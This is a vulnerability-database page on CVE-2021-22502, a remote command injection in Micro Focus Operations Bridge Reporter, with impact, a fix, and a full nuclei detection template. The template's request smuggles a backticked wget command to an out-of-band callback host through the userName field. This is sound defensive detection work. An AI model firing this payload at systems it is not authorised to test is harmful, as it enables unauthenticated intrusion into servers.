HexBrain

Browse / CVEs / CVE-2021-22502

CVE-2021-22502· microfocus / operation bridge reporter· CWE-78

Micro Focus Operations Bridge Reporter - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
96.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

Impact

Unauthenticated attackers can execute arbitrary commands on the Operations Bridge Reporter server, leading to complete system compromise and access to all monitoring data.

Fix

Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.

How to confirm it

Send: POST /AdminService/urest/v1/LogonResource
Positive when: contains in interactsh_protocol "http" or "dns" AND contains "An error occurred" and "AUTHENTICATION_FAILED" AND contains in header "application/json" AND status 401

Run it with nuclei: nuclei -id CVE-2021-22502 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-22502

info:
  name: Micro Focus Operations Bridge Reporter - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the Operations Bridge Reporter server, leading to complete system compromise and access to all monitoring data.
  remediation: |
    Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
    - https://softwaresupport.softwaregrp.com/doc/KM03775947
    - https://www.zerodayinitiative.com/advisories/ZDI-21-153/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22502
    - https://www.zerodayinitiative.com/advisories/ZDI-21-154/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22502
    cwe-id: CWE-78
    epss-score: 0.9674
    epss-percentile: 0.99885
    cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microfocus
    product: operation_bridge_reporter
  tags: cve2021,cve,microfocus,obr,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /AdminService/urest/v1/LogonResource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"userName":"something `wget {{interactsh-url}}`","credential":"whatever"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - "An error occurred"
          - "AUTHENTICATION_FAILED"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 401

References

Use this check only on systems you are authorised to test. Where the data comes from